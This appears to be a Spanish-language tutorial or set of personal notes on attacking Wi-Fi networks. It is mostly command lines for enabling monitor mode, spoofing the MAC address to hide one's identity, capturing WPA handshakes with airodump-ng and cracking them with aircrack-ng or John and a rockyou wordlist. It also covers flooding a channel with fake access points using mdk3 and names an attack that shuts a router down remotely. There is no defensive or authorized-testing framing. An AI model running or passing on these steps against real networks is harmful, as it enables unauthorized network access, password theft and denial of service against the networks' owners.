# WIFI

Lo primero que vamos a hacer es poner nuestra tarjeta de red en modo monitor

- sudo airmon-ng start NombreDeLaRed

Ahora paramos los servicios de dhclient y wpa_supplicant para que no afecten en nuestro monitoreo

- killall dhclient wpa_supplicant

Falsificamos nuestra dirección MAC para ocultarnos, primero con el comando macchanger vemos la dirección permanente y la actual de la tarjeta wifi

- macchanger -s wlan0mon
- macchanger -l
- grepeamos para sacar la de la NSA
- macchanger -l | grep “NATIONAL SECURITY AGENGY”
- lo copiamos y vamos a cambiar nuestra mac de la tarjeta de red
- sudo ifconfig wlan0mon down
- sudo macchanger --mac=**00:20:91**:df:da:05 wlan0mon

Vamos a capturar paquetes que viajan por las wifi

- airodump-ng wlan0mon
- para ver solo la red que nos interese: airodump-ng --essid nombrered wlan0mon

Para poder obtener la contraseña de la red tenemos que crear un directorio donde vayamos exportando los datos de la red seleccionada

- nos metemos en esa carpeta y ponemos: airodump-ng -w Captura –essid nombrered wlan0mon

El archivo que nos interesa es el que tiene de extensión .cap

Dejamos que trabaje un poco y ponemos: watch -n 1 du -hc Captura-01.cap

Para que vayamos viendo el peso del archivo cada segundo

**HandShake**

Cuando se desconecta un dispositivo y se vuelve a conectar es cuando nosotros cuando estamos escuchando vamos a encontrar la contraseña cifrada.

Cuando ya tengamos un handshake cambiamos el .cap a .hccap

- aircrack-ng -J miCaptura Captura.cap
- hccap2john miCaptura.hccap > miHash
- John -wordlists=rockyou.txt miHash

También lo podemos hacer con aircrack sin necesidad de pasarlo .hccap: aircrack-ng -w rockyou.txt Captura.cap

**Ataque Beacon Flood**

Lo que se pretende enviar paquetes con información falsa anunciando puntos de acceso que se llamen igual en el mismo canal y asi el dispositivo se desconecta.

- Creamos un archivo con nombres de redes: myNetwork1 al 10
- Mdk3 wlan0mon b -f redes.txt -a -s 1000 -c 1

Y ya tendremos generadas un montón de redes en el canal 1

**Ataque Michael Shutdown exploitation**

Con esto podemos apagar el router de forma remota